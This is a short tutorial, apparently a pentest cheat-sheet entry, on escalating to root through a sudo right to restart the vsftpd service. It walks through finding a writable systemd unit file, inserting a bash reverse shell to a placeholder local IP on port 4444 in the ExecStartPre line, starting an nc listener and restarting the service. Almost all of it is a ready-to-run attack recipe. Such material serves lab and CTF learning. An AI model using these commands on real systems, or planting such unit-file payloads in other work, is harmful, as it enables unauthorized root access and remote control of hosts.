Investigation

sudo -l

(ALL : ALL) /usr/sbin/service vsftpd restart

If we can execute service command as root, we may be able to escalate to root privilege.

Exploitation

1. Find the Location of the Config File

Assume we can operate the vsftpd service as root. Firse off, find the service config file for vsftpd.

find / -name "*vsftpd*"

For instance, we'll find the location as below.

/lib/systemd/system/vsftpd.service
/etc/systemd/system/multi-user.target.wants/vsftpd.service

When getting the locations, the next thing to do is to check the permission. If we have a write permission for the above each files, we can update the execution when vsftpd started.

2. Update the Config File

Insert the payload for reverse shell to the value of the “ExecStartPre”. Doing this, we can get a shell from our listener when the FTP daemon restarted.

[Unit]
Description=vsftpd FTP server
After=network.target

[Service]
Type=simple
ExecStart=/usr/sbin/vsftpd /etc/vsftpd.conf
ExecReload=/bin/kill -HUP $MAINPID
ExecStartPre=/bin/bash -c 'bash -i >& /dev/tcp/<local-ip>/4444 0>&1'

[Install]
WantedBy=multi-user.target

Then we need to reload the daemon.

systemctl daemon-reload

3. Execution

In local machine, start listener for getting a shell.

nc -lvnp 4444

Now execute the command which can be executed with sudo.

sudo /usr/sbin/service vsftpd restart

We should get a shell as root user.